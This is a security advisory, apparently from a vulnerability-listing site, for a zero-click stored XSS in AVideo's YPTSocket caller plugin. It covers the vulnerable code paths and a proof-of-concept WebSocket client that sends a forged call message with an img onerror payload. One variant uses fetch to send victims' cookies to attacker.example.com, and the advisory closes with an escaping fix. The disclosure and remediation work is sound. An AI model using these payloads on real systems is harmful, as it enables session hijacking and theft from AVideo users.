| Package | Affected versions | Patched versions |
|---|---|---|
| wwbn/avideo | ≤ 26.0 | |
| avideo | ≤ 26.0 |
The AVideo YPTSocket plugin's caller feature renders incoming call notifications using the jQuery Toast Plugin, passing the caller's display name directly as the heading parameter. The toast plugin constructs the heading as raw HTML ('<h2>' + heading + '</h2>') and inserts it into the DOM via jQuery's .html() method, which parses and executes any embedded HTML or script content. An attacker can set their display name to an XSS payload and trigger code execution on any online user's browser simply by initiating a call - no victim interaction is required beyond being connected to the WebSocket.
When a call notification arrives via WebSocket, the caller's identity is extracted from the JSON message:
// plugin/YPTSocket/caller.js:73
userIdentification = json.from_identification;
This value is passed directly to the jQuery Toast Plugin as the heading:
// plugin/YPTSocket/caller.js:89
heading: userIdentification,
Inside the jQuery Toast Plugin, the heading is rendered as raw HTML:
// node_modules/jquery-toast-plugin/src/jquery.toast.js:60
// Constructs: '<h2>' + heading + '</h2>'
// Then inserts via .html()
jQuery's .html() method parses the string as HTML and executes any script-bearing elements (such as <img onerror>, <svg onload>, etc.).
There is a secondary injection vector in the same file where the full JSON message is placed inside a single-quoted onclick attribute:
// plugin/YPTSocket/caller.js:121-123
imageAndButton += '<button class="btn btn-danger btn-circle incomeCallBtn" onclick=\'hangUpCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone-slash"></i></button>';
if (isJsonReceivingCall(json)) {
imageAndButton += '<button class="btn btn-success btn-circle incomeCallBtn" onclick=\'acceptCall(' + JSON.stringify(json) + ')\'><i class="fas fa-phone"></i></button>';
JSON.stringify(json) is placed inside a single-quoted onclick attribute. If any field in json contains a single quote, it breaks the attribute boundary and allows attribute injection.
Important note on the attack vector: User::setName() at objects/user.php:2069 uses strip_tags(), so the display name IS sanitized on the server side when set through the normal UI or API. However, the WebSocket server relays call messages as-is without server-side validation of the field. A malicious WebSocket client can send any value directly over the WebSocket protocol, bypassing the server-side sanitization entirely. The attack requires a custom WebSocket client, not the normal UI.
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freefrom_identificationfrom_identificationStep 1: Connect a malicious WebSocket client and send a forged call message
The following JavaScript connects directly to the AVideo WebSocket server and sends a call message with an XSS payload in the from_identification field:
// Malicious WebSocket client - bypasses server-side strip_tags() sanitization
const ws = new WebSocket('wss://your-avideo-instance.com:8888');
ws.onopen = function() {
// Send a forged call message with HTML in from_identification
const payload = {
msg: 'call',
from_users_id: 1,
to_users_id: VICTIM_USER_ID,
from_identification: '<img src=x onerror=alert(document.cookie)>',
resourceURL: 'https://your-avideo-instance.com/meet/123'
};
ws.send(JSON.stringify(payload));
console.log('Forged call message sent');
};
Step 2: When the victim receives the call notification, the toast renders from_identification as HTML via jQuery's .html(). The <img> tag triggers the onerror handler, executing JavaScript in the victim's browser context.
More advanced payload for credential exfiltration:
// Credential exfiltration via forged WebSocket call
const ws = new WebSocket('wss://your-avideo-instance.com:8888');
ws.onopen = function() {
ws.send(JSON.stringify({
msg: 'call',
from_users_id: 1,
to_users_id: VICTIM_USER_ID,
from_identification: '<img src=x onerror="fetch(\'https://attacker.example.com/log?\'+document.cookie)">',
resourceURL: 'https://your-avideo-instance.com/meet/123'
}));
};
Reproduction steps:
from_identification set to <img src=x onerror=alert(document.cookie)>.This is a zero-click stored XSS vulnerability. The victim does not need to click anything - merely being connected to the WebSocket (which happens automatically on any authenticated page load) is sufficient for the attack to succeed. The attacker controls when the payload fires by initiating a call.
Consequences include:
The attack is zero-click and can target any specific online user.
HTML-escape the heading value before passing it to $.toast() at plugin/YPTSocket/caller.js:89:
heading: $('<span>').text(userIdentification).html(),
This uses jQuery's .text() to safely encode the user-controlled string, then extracts the escaped HTML via .html().
Found by aisafe.io